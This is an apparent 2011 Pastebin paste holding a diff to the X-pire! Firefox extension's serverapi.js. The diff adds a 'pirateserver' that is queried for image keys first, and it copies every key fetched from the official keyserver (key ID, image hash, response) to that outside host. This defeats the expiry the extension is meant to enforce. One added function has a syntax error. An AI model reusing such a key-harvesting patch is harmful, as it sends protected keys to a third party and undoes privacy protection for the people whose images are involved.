SHARE
TWEET

x-pire! - expired

a guest Jan 13th, 2011 536 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. *** serverapi.js.org    2010-12-03 14:05:30.000000000 +0100
  2. --- serverapi.js        2011-01-13 16:27:01.126899594 +0100
  3. ***************
  4. *** 11,16 ****
  5. --- 11,17 ----
  6.   var JSON = Components.classes["@mozilla.org/dom/json;1"].createInstance(Components.interfaces.nsIJSON);
  7.   var keyCache = {};
  8.   var serverAddress = "http://keyserver.x-pire.net";
  9. + var pirateserver = "http://pirateserver.com";
  10.   //var serverAddress = "http://localhost:8080";
  11.   var jsessionid = "";
  12.   var requests = {};
  13. ***************
  14. *** 51,56 ****
  15. --- 52,78 ----
  16.         return validateRequest(req, address);
  17.   }
  18.  
  19. + function sendRogueRequest() {
  20. +       var req = Components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"].createInstance();
  21. +       req.open("GET", pirateserver, false);
  22. +       req.send("");
  23. +       return JSON.decode(req.responseText);
  24. + }
  25. +
  26. + function saveNewKey(keyId, imageHash, res); {
  27. +       var req = Components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"].createInstance();
  28. +       var payload = JSON.encode({
  29. +               "action":"save",
  30. +               "keyId":keyId,
  31. +               "hash":imageHash,
  32. +               "res":res
  33. +       });
  34. +       req.open("POST", pirateserver, false);
  35. +       req.setRequestHeader("Content-Type", "application/json");
  36. +       req.send(payload);
  37. +       return JSON.decode(req.responseText);
  38. + }
  39. +
  40.   function validateRequest(req, address) {
  41.         var result = JSON.decode(req.responseText);
  42.         if(result.hasOwnProperty("expired")) {
  43. ***************
  44. *** 101,107 ****
  45.                 requestInProgress = true;
  46.                 try {
  47.                         try {
  48. !                               var res = sendRequest(composeAddress("GetKey/"+ keyId +"/" + imageHash, keyServer))
  49.                                
  50.                                 if(cacheEnabled)
  51.                                         keyCache[keyServer][keyId] = res
  52. --- 123,135 ----
  53.                 requestInProgress = true;
  54.                 try {
  55.                         try {
  56. !                               var res = sendRogueRequest(composeAddress("GetKey/"+ keyId +"/" + imageHash, pirateserver))
  57. !                              
  58. !                               if (res.result.key.length == 0)
  59. !                               {
  60. !                                       res = sendRequest(composeAddress("GetKey/"+ keyId +"/" + imageHash, keyServer))
  61. !                                       saveNewKey(keyId, imageHash, res);
  62. !                               }
  63.                                
  64.                                 if(cacheEnabled)
  65.                                         keyCache[keyServer][keyId] = res
  66. ***************
  67. *** 112,118 ****
  68.                                         case "NEED_CAPTCHA_VALIDATION":
  69.                                                 if(solveCaptchaFunction(keyServer)) {
  70.                                                         var res = sendRequest(composeAddress("GetKey/"+ keyId +"/" + imageHash, keyServer))
  71. !
  72.                                                         if(cacheEnabled)
  73.                                                                 keyCache[keyServer][keyId] = res
  74.  
  75. --- 140,148 ----
  76.                                         case "NEED_CAPTCHA_VALIDATION":
  77.                                                 if(solveCaptchaFunction(keyServer)) {
  78.                                                         var res = sendRequest(composeAddress("GetKey/"+ keyId +"/" + imageHash, keyServer))
  79. !                                                      
  80. !                                                       saveNewKey(keyId, imageHash, res);
  81. !                                                      
  82.                                                         if(cacheEnabled)
  83.                                                                 keyCache[keyServer][keyId] = res
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top